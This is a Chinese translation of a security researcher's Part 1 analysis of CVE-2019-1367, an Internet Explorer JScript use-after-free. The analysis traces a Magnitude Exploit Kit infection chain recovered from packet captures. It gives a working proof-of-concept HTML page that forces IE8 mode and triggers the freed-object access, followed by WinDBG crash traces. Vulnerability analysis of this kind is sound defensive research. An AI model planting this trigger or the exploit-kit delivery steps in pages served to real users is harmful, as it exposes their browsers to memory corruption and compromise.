CVE-2019–1367:IE 漏洞分析 Part1

阅读量216743

|评论1

|

发布时间 : 2020-07-20 15:30:43

x
译文声明

本文是翻译文章,文章原作者 Taha Karim,文章来源:blog.confiant.com

原文地址:https://blog.confiant.com/internet-explorer-cve-2019-1367-exploitation-part-1-7ff08b7dcc8b

译文仅供参考,具体内容表达以及含义原文为准。

 

从PCAP中提取Exploit

在这一节中,我们将通过分析恶意软件流量从pcaps中提取exploit。幸运的是,pcaps包含了成功利用目标后的流量!这将有助于我们得到成功利用漏洞并执行shellcode后发出的网络请求,最终获得丢失的payload(也就是在pcap中!)

查看第一个HTTP请求,我们可以看到Accept-Language:ko-KR,这表明它是针对韩国用户的。这与Magnitude Exploit Kit的定位一致:

GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Connection: Keep-Alive
Host: 36b2r105aw.girlbad.fun

仅返回base64数据,通常用于Magnitude Exploit KIT登陆页面:

对其进行解码将使我们进入第2阶段 – 混淆:

第2阶段使用一些简单的去混淆步骤来查看对 b6883l0bak[.]pophot.website 最终的请求。返回Jscript编码数据,设置IE8兼容模式:

注意:默认情况下,IE11,IE10和IE9使用Jscript9.dll,该脚本不受 CVE-2019-1367 漏洞的影响。设置IE8兼容模式,将强制IE浏览器使用旧版jscript.dll,并触发CVE-2019-1367漏洞。

我们使用Windows Script Decoder 1.8工具对这个Jscript.Encoded编码的数据进行了解码,该工具可以在这里找到:https : //gist.github.com/bcse/1834878

解码后,我们收到了完整的CVE-2019–1367 exploit,但是混淆了:

这个exploit会对一些native javascript函数进行编码,从而混淆了脚本。但是我们仍然可以发现有漏洞的 Array.Sort()函数,以及Enumerator对象的使用,以及随后调用CollectGarbage()来进行一些堆风水!

 

Fenix漏洞

当处理未知的漏洞时,使用补丁对比或调试跟踪来检测具体原因,这通常是用来定位漏洞的方法,F-secure使用differential debugging对CVE-2020–9674进行了详细分析。

简单地说,CVE-2019–1367是由Jscript的垃圾回收机制(GC)造成的,它没有正确地处理 Array.sort() 回调函数。没有正确地更新当前正在使用的对象的引用计数。这会导致当前正在使用的对象被过早释放。

换句话说,在调用Garbage集合之后,Array.sort()回调函数的参数将指向过早释放的内存分配,这也称为悬空指针(dangling pointer)。

为什么这很重要?如果我们能用一个我们控制的对象来替换这个悬空指针所指向的内存,我们就可以开始执行我们自己的代码:它通常是一个shellcode,可以执行一些任务,比如:弹出一个计算器,或者下载勒索软件,我们将在第3部分内容看到。

我们可以编写一个简单的POC,来演示这个漏洞,我们将创建一个空数组,以便能够调用array .sort()函数,保存对参数的引用,强制垃圾回收,然后再次尝试访问保存的引用,然后查看发生了什么。

 

POC

以下是我们针对CVE-2019–1367的Poc,我们分配了足够的对象来分配50多个GC块。为什么是50?如果我们看一下Jscript.dll中的GcBlockFactory::freeBlk方法,我们可以看到GC维护着一个包含50个空闲GC块的列表。当调用垃圾回收机制时,标记为free的GC块将添加到这个列表中,如果空闲块的计数器≥50,那么下一个空闲块将不添加到块列表中,而是直接被释放:

dll中的垃圾回收过程是基于mark-sweep(标记-扫描)算法的:

在IE Jscript引擎中,这可以转换为3个不同的步骤:

  • 步骤1:标记所有的变量。标记是通过| 0x881完成的。
  • 步骤2:为每个变量对象调用清除函数(每个对象都实现了自己的清除函数),包括检查是否存在对这些标记对象的引用,如果是这种情况,则对象未标记。
  • 步骤3:调用回收垃圾机制释放所有标记的变量。注意:如果GC块的所有变量都被标记并因此被释放,则整个GC块将被释放。

我们可以编写一个Poc,在其中分配50多个gc block,并在参数中保留其中一个对象的引用,触发垃圾回收机制并通过Alert()再次访问该引用来触发bug。

我们使用以下代码对IE8和IE11进行了测试:

<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<html>
<script language="Jscript.Encode">

var size = 20000;
var test = new Array();

function hack () 
{
  alert("calling hack()");

  // fill the testing array with objects
  for(var i = 0; i < size; i++) test[i] = new Object(); 

  arguments[0] = test[5000];

  // mark these object as null, to force garbage collection
  for(var i = 0; i < size; i++) test[i] = 0;

  // call garbage collector
  alert("calling CollectGarbage()");

  CollectGarbage(); 

  alert("calling Alert()");

  alert(arguments[0]);

  return 0;
}

alert("calling sort()");

[0,0].sort(hack);

</script>
</html>

在IE8中,我们崩溃了(在Windows 7 SP1 32位上测试)

IE11当前标签崩溃,然后重新加载(在Windows 10 x64上测试)

在启用page heap的情况下将WinDBG附加到IE11,我们这次可以捕获异常,正如我们在下面的跟踪中看到的,EDI指向一个未指定的内存地址0x23d28a30:

(18dc.19d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000080 ebx=0c44c4c4 ecx=00000080 edx=00000001 esi=1c81ff00 edi=23d28a30
eip=68ccc063 esp=0c44c440 ebp=0c44c474 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
jscript!PrepareInvoke+0x143:
68ccc063 0fb707          movzx   eax,word ptr [edi]       ds:002b:23d28a30=????
0:007> k
 # ChildEBP RetAddr  
00 0c44c474 68ceda5a jscript!PrepareInvoke+0x143
01 0c44c540 68cccc1c jscript!InvokeDispatchEx+0x75
02 0c44c570 68cd05e3 jscript!VAR::InvokeByDispID+0xbd
03 0c44c8e8 68cd2f52 jscript!CScriptRuntime::Run+0xf33
04 0c44c9dc 68cd305b jscript!ScrFncObj::CallWithFrameOnStack+0xa2
05 0c44ca34 68ceb677 jscript!ScrFncObj::Call+0x7b
06 0c44ca98 68ceb4d7 jscript!CallComp+0x55
07 0c44cb84 68ce92f4 jscript!JsArrayFunctionHeapSort+0x290
08 0c44cbfc 68cc9428 jscript!JsArraySort+0x1e4

分析 0x23d28a30 的内存地址,我们可以看到它指向的内存地址属于已释放的内存块。在堆栈跟踪中,我们可以注意到对GcAlloc::ReclaimGarbage的调用,尤其是负责释放块的GcBlockFactory::FreeBlk

0:007> !heap -p -a edi
    address 23d28a30 found in
    _DPH_HEAP_ROOT @ 9e11000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   23c62d68:         23d28000             2000
    6bc9ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    772f35f1 ntdll!RtlDebugFreeHeap+0x0000003e
    7729fd81 ntdll!RtlpFreeHeap+0x00048011
    77257a12 ntdll!RtlFreeHeap+0x00000222
    757a70b5 msvcrt!free+0x00000065
    68cc9748 jscript!GcBlockFactory::FreeBlk+0x00000023
    68ccbc62 jscript!GcAlloc::ReclaimGarbage+0x00000232
    68ccade8 jscript!GcContext::Reclaim+0x00000089
    68ccb0e1 jscript!GcContext::CollectCore+0x00000201
    68ccabcb jscript!GcContext::Collect+0x0000001f
    68cce892 jscript!NameTbl::InvokeInternal+0x00000152
    68cccbc8 jscript!VAR::InvokeByDispID+0x00000069
    68cd05e3 jscript!CScriptRuntime::Run+0x00000f33
    68cd2f52 jscript!ScrFncObj::CallWithFrameOnStack+0x000000a2
    68cd305b jscript!ScrFncObj::Call+0x0000007b
    68ceb677 jscript!CallComp+0x00000055
    68ceb4d7 jscript!JsArrayFunctionHeapSort+0x00000290
    68ce92f4 jscript!JsArraySort+0x000001e4

通过这个Poc,我们确认了CVE-2019-1367使用UAF漏洞,这个UAF漏洞的利用,将在第2部分中介绍。

本文翻译自blog.confiant.com 原文链接。如若转载请注明出处。
分享到:微信
+13赞
收藏
qwert
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66